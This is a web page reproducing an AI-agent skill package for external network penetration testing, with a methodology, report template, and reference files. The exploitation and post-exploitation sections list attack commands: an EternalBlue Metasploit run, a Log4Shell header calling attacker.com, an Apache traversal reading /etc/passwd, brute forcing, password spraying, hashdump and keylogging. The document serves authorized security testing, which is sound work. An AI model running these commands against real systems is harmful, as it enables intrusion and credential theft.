performing-external-network-penetration-test skill (Anthropic-Cybersecurity-Skills)
- Install
- SKILL.md (verbatim)
- Overview
- When to Use
- Prerequisites
- Phase 1 — Pre-Engagement and Scoping
- Define Rules of Engagement
- Legal Documentation Checklist
- Phase 2 — Reconnaissance (Information Gathering)
- Passive Reconnaissance
- Active Reconnaissance
- Phase 3 — Vulnerability Analysis
- Automated Scanning
- Manual Vulnerability Validation
- Phase 4 — Exploitation
- Network Service Exploitation
- Web Application Exploitation
- Password Attacks
- Phase 5 — Post-Exploitation
- Phase 6 — Reporting
- Finding Classification (CVSS v3.1)
- Report Structure
- Remediation Priority Matrix
- Tools Reference
- References
- Other files in this skill
- assets/template.md (verbatim)
- Document Control
- 1. Executive Summary
- 1.1 Engagement Overview
- 1.2 Scope
- 1.3 Key Findings Summary
- 1.4 Overall Risk Rating
- 1.5 Top Strategic Recommendations
- 2. Technical Findings
- Finding [N]: [Title]
- 3. Methodology
- 3.1 Framework
- 3.2 Tools Used
- 3.3 Testing Timeline
- 4. Appendices
- A. Full Scan Results
- B. Network Topology Discovered
- C. Credentials Obtained
- D. Glossary
- references/api-reference.md (verbatim)
- Libraries Used
- CLI Interface
- Core Functions
- tcpportscan(host, ports) — Scan TCP ports with banner grabbing
- runnmapscan(target, scantype) — Execute nmap and parse XML results
- dnsenumeration(domain) — Enumerate DNS records and subdomains
- sslcheck(host, port) — Inspect TLS certificate and cipher suite
- Default Port List
- Dependencies
- references/standards.md (verbatim)
- Primary Standards
- PTES (Penetration Testing Execution Standard)
- NIST SP 800-115
- OSSTMM v3 (Open Source Security Testing Methodology Manual)
- OWASP Testing Guide v4.2
- Compliance Frameworks
- CVSS v3.1 Scoring Reference
- CVE and Vulnerability Databases
- references/workflows.md (verbatim)
- End-to-End Workflow
- Daily Testing Workflow
- Reconnaissance Sub-Workflow
- Vulnerability Triage Workflow
- Evidence Collection Workflow
What it does. Conduct a comprehensive external network penetration test to identify Part of mukul975/Anthropic-Cybersecurity-Skills (817 security skills) (mukul975/Anthropic-Cybersecurity-Skills).
| Upstream | mukul975/Anthropic-Cybersecurity-Skills |
| Skill file | skills/performing-external-network-penetration-test/SKILL.md |
| License | Apache-2.0 (skill folder LICENSE) |
| Author | mukul975 |
| Fetched | 2026-09-10 |
Install
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-external-network-penetration-test, or copy the skill folder into~/.claude/skills/performing-external-network-penetration-test/.- Raw file:
curl -sL https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-external-network-penetration-test/SKILL.md
SKILL.md (verbatim)
name: performing-external-network-penetration-test
description: Conduct a comprehensive external network penetration test to identify
vulnerabilities in internet-facing infrastructure using PTES methodology, reconnaissance,
scanning, exploitation, and reporting.
domain: cybersecurity
subdomain: penetration-testing
tags:
- external-pentest
- network-security
- PTES
- OSSTMM
- Nmap
- Metasploit
- vulnerability-assessment
- reconnaissance
- exploitation
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- ID.RA-01
- ID.RA-06
- GV.OV-02
- DE.AE-07
mitre_attack:
- T1595
- T1190
- T1059
- T1078
- T1592
Performing External Network Penetration Test
Overview
An external network penetration test simulates a real-world attacker targeting an organization's internet-facing assets such as firewalls, web servers, mail servers, DNS servers, VPN gateways, and cloud endpoints. The objective is to identify exploitable vulnerabilities before malicious actors do, following frameworks like PTES (Penetration Testing Execution Standard), OSSTMM, and NIST SP 800-115.
When to Use
- When conducting security assessments that involve performing external network penetration test
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
Prerequisites
- Written authorization (Rules of Engagement document signed by asset owner)
- Defined scope: IP ranges, domains, subdomains, and exclusions
- Testing environment: Kali Linux or Parrot OS with updated tools
- VPN/dedicated testing infrastructure to avoid IP blocks
- Coordination with SOC/NOC for timing windows
Phase 1 — Pre-Engagement and Scoping
Define Rules of Engagement
Scope:
- Target IP ranges: 203.0.113.0/24, 198.51.100.0/24
- Domains: *.target.com, *.target.io
- Exclusions: 203.0.113.50 (production DB), *.staging.target.com
- Testing window: Mon-Fri 22:00-06:00 UTC
- Emergency contact: SOC Lead — +1-555-0100
- Authorization ID: PENTEST-2025-EXT-042
Legal Documentation Checklist
| Document | Status | Owner |
|---|---|---|
| Master Service Agreement (MSA) | Signed | Legal |
| Statement of Work (SOW) | Signed | PM |
| Rules of Engagement (RoE) | Signed | CISO |
| Get-Out-of-Jail Letter | Signed | CTO |
| NDA | Signed | Legal |
| Insurance Certificate | Verified | Risk |
Phase 2 — Reconnaissance (Information Gathering)
Passive Reconnaissance
# OSINT — Subdomain enumeration
subfinder -d target.com -o subdomains.txt
amass enum -passive -d target.com -o amass_subs.txt
cat subdomains.txt amass_subs.txt | sort -u > all_subs.txt
# DNS record enumeration
dig target.com ANY +noall +answer
dig target.com MX +short
dig target.com NS +short
dig target.com TXT +short
# WHOIS and ASN lookup
whois target.com
whois -h whois.radb.net -- '-i origin AS12345'
# Certificate Transparency log search
curl -s "https://crt.sh/?q=%.target.com&output=json" | jq '.[].name_value' | sort -u
# Google dorking
# site:target.com filetype:pdf
# site:target.com inurl:admin
# site:target.com intitle:"index of"
# Shodan enumeration
shodan search "org:Target Corp" --fields ip_str,port,product
shodan host 203.0.113.10
# Email harvesting
theHarvester -d target.com -b all -l 500 -f theharvester_results
# GitHub/GitLab secret scanning
trufflehog github --org=targetcorp --concurrency=5
gitleaks detect --source=https://github.com/targetcorp/repo
Active Reconnaissance
# Host discovery — ping sweep
nmap -sn 203.0.113.0/24 -oG ping_sweep.gnmap
# TCP SYN scan — top 1000 ports
nmap -sS -sV -O -T4 203.0.113.0/24 -oA tcp_scan
# Full TCP port scan
nmap -sS -p- -T4 --min-rate 1000 203.0.113.0/24 -oA full_tcp
# UDP scan — top 100 ports
nmap -sU --top-ports 100 -T4 203.0.113.0/24 -oA udp_scan
# Service version and script scan
nmap -sV -sC -p 21,22,25,53,80,110,143,443,445,993,995,3389,8080,8443 203.0.113.0/24 -oA service_scan
# SSL/TLS enumeration
sslscan 203.0.113.10:443
testssl.sh --full https://target.com
# Web technology fingerprinting
whatweb -v https://target.com
wappalyzer https://target.com
Phase 3 — Vulnerability Analysis
Automated Scanning
# Nessus scan (via CLI)
nessuscli scan --new --name "External-Pentest-2025" \
--targets 203.0.113.0/24 \
--policy "Advanced Network Scan"
# OpenVAS scan
gvm-cli socket --xml '<create_task>
<name>External Pentest</name>
<target id="target-uuid"/>
<config id="daba56c8-73ec-11df-a475-002264764cea"/>
</create_task>'
# Nuclei vulnerability scanner
nuclei -l all_subs.txt -t cves/ -t exposures/ -t misconfigurations/ \
-severity critical,high -o nuclei_results.txt
# Nikto web server scan
nikto -h https://target.com -output nikto_results.html -Format htm
# Directory and file enumeration
gobuster dir -u https://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x php,asp,aspx,jsp,html,txt -o gobuster_results.txt
feroxbuster -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt \
--depth 3 -o ferox_results.txt
Manual Vulnerability Validation
# Check for known CVEs on identified services
searchsploit apache 2.4.49
searchsploit openssh 8.2
# Test for default credentials
hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
-P /usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt \
ssh://203.0.113.10 -t 4
# Test VPN endpoints
ike-scan 203.0.113.20
# Check for IKEv1 aggressive mode
# SNMP enumeration
snmpwalk -v2c -c public 203.0.113.30
onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp-onesixtyone.txt 203.0.113.0/24
# SMTP enumeration
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Names/names.txt -t 203.0.113.25
Phase 4 — Exploitation
Network Service Exploitation
# Metasploit — EternalBlue (MS17-010) example
msfconsole -q
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 203.0.113.15
set LHOST 10.10.14.5
set LPORT 4444
exploit
# Apache RCE — CVE-2021-41773 / CVE-2021-42013
curl -s --path-as-is "https://target.com/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
# ProxyShell exploitation (Exchange)
python3 proxyshell_exploit.py -u https://mail.target.com -e admin@target.com
# Log4Shell (CVE-2021-44228) testing
curl -H 'X-Api-Version: ${jndi:ldap://attacker.com/exploit}' https://target.com/api
Web Application Exploitation
# SQL Injection with sqlmap
sqlmap -u "https://target.com/page?id=1" --batch --dbs --risk=3 --level=5
# XSS payload testing
dalfox url "https://target.com/search?q=test" --skip-bav
# Command injection testing
commix --url="https://target.com/ping?host=127.0.0.1" --batch
# File upload bypass
# Upload PHP shell with double extension: shell.php.jpg
# Test content-type bypass: application/octet-stream -> image/jpeg
Password Attacks
# Brute force RDP
crowbar -b rdp -s 203.0.113.40/32 -u admin -C /usr/share/wordlists/rockyou.txt -n 4
# Spray attack against OWA
sprayhound -U users.txt -p 'Spring2025!' -d target.com -url https://mail.target.com/owa
# Crack captured hashes
hashcat -m 5600 captured_ntlmv2.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
Phase 5 — Post-Exploitation
# Establish persistence (authorized testing only)
# Meterpreter session
meterpreter> sysinfo
meterpreter> getuid
meterpreter> hashdump
meterpreter> run post/multi/recon/local_exploit_suggester
# Privilege escalation check
# Linux
./linpeas.sh | tee linpeas_output.txt
# Windows
.\winPEAS.exe | tee winpeas_output.txt
# Data exfiltration proof
# Create proof file (DO NOT exfiltrate real sensitive data)
echo "PENTEST-PROOF-$(date +%Y%m%d)" > /tmp/pentest_proof.txt
# Network pivoting through compromised host
# Set up SOCKS proxy via SSH
ssh -D 9050 user@203.0.113.15
proxychains nmap -sT -p 80,443,445 10.0.0.0/24
# Screenshot and evidence collection
meterpreter> screenshot
meterpreter> keyscan_start
Phase 6 — Reporting
Finding Classification (CVSS v3.1)
| Severity | CVSS Range | Count | Example |
|---|---|---|---|
| Critical | 9.0-10.0 | 2 | RCE via unpatched Exchange (ProxyShell) |
| High | 7.0-8.9 | 5 | SQL Injection in customer portal |
| Medium | 4.0-6.9 | 8 | Missing security headers, TLS 1.0 |
| Low | 0.1-3.9 | 12 | Information disclosure via server banners |
| Info | 0.0 | 6 | Open ports documentation |
Report Structure
1. Executive Summary
- Scope and objectives
- Key findings summary
- Risk rating overview
- Strategic recommendations
2. Technical Findings
For each finding:
- Title and CVSS score
- Affected asset(s)
- Description and impact
- Steps to reproduce (with screenshots)
- Evidence/proof of exploitation
- Remediation recommendation
- References (CVE, CWE)
3. Methodology
- Tools used
- Testing timeline
- Frameworks followed (PTES, OWASP)
4. Appendices
- Full scan results
- Network diagrams
- Raw tool output
Remediation Priority Matrix
| Priority | Timeline | Action |
|---|---|---|
| P1 — Critical | 24-48 hours | Patch RCE vulnerabilities, disable exposed admin panels |
| P2 — High | 1-2 weeks | Fix injection flaws, implement MFA |
| P3 — Medium | 30 days | Harden TLS configs, add security headers |
| P4 — Low | 60-90 days | Remove version banners, update documentation |
Tools Reference
| Tool | Purpose | License |
|---|---|---|
| Nmap | Port scanning and service enumeration | GPLv2 |
| Metasploit | Exploitation framework | BSD |
| Burp Suite Pro | Web application testing | Commercial |
| Nuclei | Vulnerability scanning | MIT |
| Subfinder | Subdomain enumeration | MIT |
| SQLMap | SQL injection testing | GPLv2 |
| Nessus | Vulnerability scanner | Commercial |
| Gobuster | Directory brute-forcing | Apache 2.0 |
| Hashcat | Password cracking | MIT |
| theHarvester | OSINT email/domain harvesting | GPLv2 |
References
- PTES (Penetration Testing Execution Standard): http://www.pentest-standard.org/
- OWASP Testing Guide v4.2: https://owasp.org/www-project-web-security-testing-guide/
- NIST SP 800-115: Technical Guide to Information Security Testing: https://csrc.nist.gov/publications/detail/sp/800-115/final
- OSSTMM v3: https://www.isecom.org/OSSTMM.3.pdf
- MITRE ATT&CK: https://attack.mitre.org/
Other files in this skill
- LICENSE
- assets/template.md
- references/api-reference.md
- references/standards.md
- references/workflows.md
- scripts/agent.py
- scripts/process.py
assets/template.md (verbatim)
External Network Penetration Test — Report Template
Document Control
| Field | Value |
|---|---|
| Client | [Client Name] |
| Assessment Type | External Network Penetration Test |
| Test Period | [Start Date] — [End Date] |
| Report Version | 1.0 |
| Classification | CONFIDENTIAL |
| Prepared By | [Tester Name], [Certification] |
| Reviewed By | [QA Reviewer] |
| Authorization ID | [PENTEST-YYYY-EXT-NNN] |
1. Executive Summary
1.1 Engagement Overview
[Organization Name] engaged [Testing Company] to perform an external network penetration test against its internet-facing infrastructure. The assessment was conducted between [dates] following the PTES methodology.
1.2 Scope
- IP Ranges: [CIDR ranges]
- Domains: [domain list]
- Exclusions: [excluded assets]
1.3 Key Findings Summary
| Severity | Count |
|---|---|
| Critical | [N] |
| High | [N] |
| Medium | [N] |
| Low | [N] |
| Informational | [N] |
1.4 Overall Risk Rating
[CRITICAL / HIGH / MEDIUM / LOW]
[Brief narrative of overall security posture]
1.5 Top Strategic Recommendations
- [Recommendation 1]
- [Recommendation 2]
- [Recommendation 3]
2. Technical Findings
Finding [N]: [Title]
| Attribute | Detail |
|---|---|
| Severity | [Critical/High/Medium/Low] |
| CVSS v3.1 | [Score] — [Vector String] |
| CVE | [CVE-YYYY-NNNNN] |
| CWE | [CWE-NNN] |
| Affected Asset | [IP/hostname:port] |
| Status | [Exploited / Validated / Potential] |
Description: [Detailed description of the vulnerability]
Impact: [Business and technical impact]
Steps to Reproduce:
- [Step 1]
- [Step 2]
- [Step 3]
Evidence:

[Terminal output / HTTP request-response]
Remediation:
- [Primary fix]
- [Alternative mitigation]
- [Detection recommendation]
References:
- [URL to CVE/advisory]
- [Vendor documentation]
3. Methodology
3.1 Framework
- PTES (Penetration Testing Execution Standard)
- OWASP Testing Guide v4.2
- MITRE ATT&CK Framework
3.2 Tools Used
| Tool | Version | Purpose |
|---|---|---|
| Nmap | [ver] | Port scanning, service enumeration |
| Metasploit | [ver] | Exploitation framework |
| Burp Suite Pro | [ver] | Web application testing |
| Nuclei | [ver] | Vulnerability scanning |
| SQLMap | [ver] | SQL injection testing |
| Hashcat | [ver] | Password cracking |
3.3 Testing Timeline
| Date | Phase | Activities |
|---|---|---|
| [Date] | Reconnaissance | OSINT, subdomain enum, port scanning |
| [Date] | Vulnerability Analysis | Automated and manual scanning |
| [Date] | Exploitation | Service and web application exploitation |
| [Date] | Post-Exploitation | Privilege escalation, evidence collection |
| [Date] | Reporting | Findings documentation and QA |
4. Appendices
A. Full Scan Results
[Attached as separate files]
B. Network Topology Discovered
[Network diagram]
C. Credentials Obtained
| Source | Account Type | Method |
|---|---|---|
| [Service] | [Role] | [Attack method] |
D. Glossary
| Term | Definition |
|---|---|
| CVSS | Common Vulnerability Scoring System |
| CVE | Common Vulnerabilities and Exposures |
| RCE | Remote Code Execution |
| PTES | Penetration Testing Execution Standard |
This document is classified CONFIDENTIAL and intended solely for [Client Name].
references/api-reference.md (verbatim)
API Reference — Performing External Network Penetration Test
Libraries Used
- socket: TCP port scanning and banner grabbing
- subprocess: Execute nmap with XML output parsing
- dns.resolver (dnspython): DNS record enumeration and subdomain discovery
- ssl: TLS certificate inspection and cipher analysis
- xml.etree.ElementTree: Parse nmap XML output
CLI Interface
python agent.py scan --host <target_ip> [--ports 22 80 443]
python agent.py nmap --target <ip_or_range> [--type quick|full|vuln|udp]
python agent.py dns --domain <domain>
python agent.py ssl --host <hostname> [--port 443]
Core Functions
tcp_port_scan(host, ports) — Scan TCP ports with banner grabbing
Scans 22 common ports by default. Returns open ports with service banners.
run_nmap_scan(target, scan_type) — Execute nmap and parse XML results
Scan types: quick (top 100 -sV), full (-p- -sC), vuln (NSE vuln scripts), udp (top 50 UDP).
dns_enumeration(domain) — Enumerate DNS records and subdomains
Queries A, AAAA, MX, NS, TXT, SOA, CNAME records. Tests 10 common subdomain prefixes.
ssl_check(host, port) — Inspect TLS certificate and cipher suite
Returns subject, issuer, validity dates, TLS version, and negotiated cipher.
Default Port List
21 (FTP), 22 (SSH), 23 (Telnet), 25 (SMTP), 53 (DNS), 80 (HTTP), 110 (POP3), 135 (RPC), 139 (NetBIOS), 143 (IMAP), 443 (HTTPS), 445 (SMB), 993/995 (IMAPS/POP3S), 1433 (MSSQL), 1521 (Oracle), 3306 (MySQL), 3389 (RDP), 5432 (PostgreSQL), 5900 (VNC), 8080/8443 (HTTP Proxy/Alt HTTPS)
Dependencies
pip install dnspython
System: nmap (optional, for advanced scanning)
references/standards.md (verbatim)
Standards and Frameworks — External Network Penetration Testing
Primary Standards
PTES (Penetration Testing Execution Standard)
- Website: http://www.pentest-standard.org/
- Phases: Pre-engagement, Intelligence Gathering, Threat Modeling, Vulnerability Analysis, Exploitation, Post-Exploitation, Reporting
- Best for: Comprehensive network penetration testing engagements
NIST SP 800-115
- Title: Technical Guide to Information Security Testing and Assessment
- URL: https://csrc.nist.gov/publications/detail/sp/800-115/final
- Covers: Review techniques, target identification, vulnerability analysis, planning, execution, post-testing
OSSTMM v3 (Open Source Security Testing Methodology Manual)
- URL: https://www.isecom.org/OSSTMM.3.pdf
- Focus: Operational security testing across physical, wireless, telecommunications, data networks, and human channels
OWASP Testing Guide v4.2
- URL: https://owasp.org/www-project-web-security-testing-guide/
- Focus: Web application security testing methodology
- Complement to network-level testing
Compliance Frameworks
| Framework | Requirement | Pentest Frequency |
|---|---|---|
| PCI DSS v4.0 | Requirement 11.4 | Annual + after significant changes |
| SOC 2 Type II | CC7.1 | Annual |
| ISO 27001 | A.12.6, A.18.2 | Annual recommended |
| HIPAA | §164.308(a)(8) | Annual recommended |
| FedRAMP | CA-8 | Annual |
CVSS v3.1 Scoring Reference
| Metric Group | Components |
|---|---|
| Base Score | Attack Vector, Attack Complexity, Privileges Required, User Interaction, Scope, Confidentiality, Integrity, Availability |
| Temporal Score | Exploit Code Maturity, Remediation Level, Report Confidence |
| Environmental Score | Modified Base Metrics, Security Requirements |
Calculator: https://www.first.org/cvss/calculator/3.1
CVE and Vulnerability Databases
- NVD (National Vulnerability Database): https://nvd.nist.gov/
- CVE: https://cve.mitre.org/
- Exploit-DB: https://www.exploit-db.com/
- VulnDB: https://vuldb.com/
references/workflows.md (verbatim)
Workflows — External Network Penetration Testing
End-to-End Workflow
┌─────────────────┐ ┌──────────────────┐ ┌─────────────────────┐
│ Pre-Engagement │───>│ Reconnaissance │───>│ Vulnerability │
│ - Scoping │ │ - Passive OSINT │ │ Analysis │
│ - RoE signing │ │ - Active scanning│ │ - Automated scans │
│ - Legal docs │ │ - Enum subdomains│ │ - Manual validation │
└─────────────────┘ └──────────────────┘ └─────────────────────┘
│
┌─────────────────┐ ┌──────────────────┐ ┌──────────▼──────────┐
│ Reporting │<───│ Post-Exploitation │<───│ Exploitation │
│ - Findings doc │ │ - Priv escalation│ │ - Service exploits │
│ - CVSS scoring │ │ - Persistence │ │ - Web app attacks │
│ - Remediation │ │ - Pivoting proof │ │ - Password attacks │
│ - Executive brief│ │ - Evidence gather │ │ - Credential spray │
└─────────────────┘ └──────────────────┘ └─────────────────────┘
Daily Testing Workflow
Morning:
1. Review previous day's findings
2. Update target list with new discoveries
3. Run updated scans on newly discovered hosts
4. Verify scan results and triage
Afternoon:
5. Manual exploitation of high-value targets
6. Attempt lateral movement from compromised hosts
7. Document all successful and failed exploitation attempts
Evening:
8. Compile evidence and screenshots
9. Update findings tracker
10. Plan next day's attack vectors
11. Communicate critical findings to client immediately
Reconnaissance Sub-Workflow
Domain Target
│
├── DNS Enumeration ──> Subdomain Discovery ──> IP Resolution
│ │
├── WHOIS/ASN Lookup ──> IP Range Identification ────┤
│ │
├── Certificate Transparency ──> Hidden Subdomains ──┤
│ │
├── Shodan/Censys ──> Service Fingerprinting ────────┤
│ │
└── OSINT (GitHub, Pastebin) ──> Credential Leaks │
▼
Master Target List
(IPs, Ports, Services)
Vulnerability Triage Workflow
Scan Results
│
├── Critical (CVSS >= 9.0) ──> Immediate exploitation attempt
│ ──> Notify client if RCE confirmed
│
├── High (CVSS 7.0-8.9) ──> Validate and exploit within 24h
│
├── Medium (CVSS 4.0-6.9) ──> Validate, exploit if time permits
│
└── Low/Info (CVSS < 4.0) ──> Document, include in final report
Evidence Collection Workflow
For each successful exploitation:
1. Screenshot the exploit execution
2. Record terminal output (script command or asciinema)
3. Capture network traffic (tcpdump/Wireshark)
4. Document exact commands/payloads used
5. Note timestamps (UTC)
6. Hash any files extracted (SHA-256)
7. Store evidence in organized folder structure:
evidence/
├── {date}/
│ ├── {target-ip}/
│ │ ├── screenshots/
│ │ ├── terminal_logs/
│ │ ├── pcaps/
│ │ └── notes.md
Back to mukul975/Anthropic-Cybersecurity-Skills (817 security skills) or Agent skills.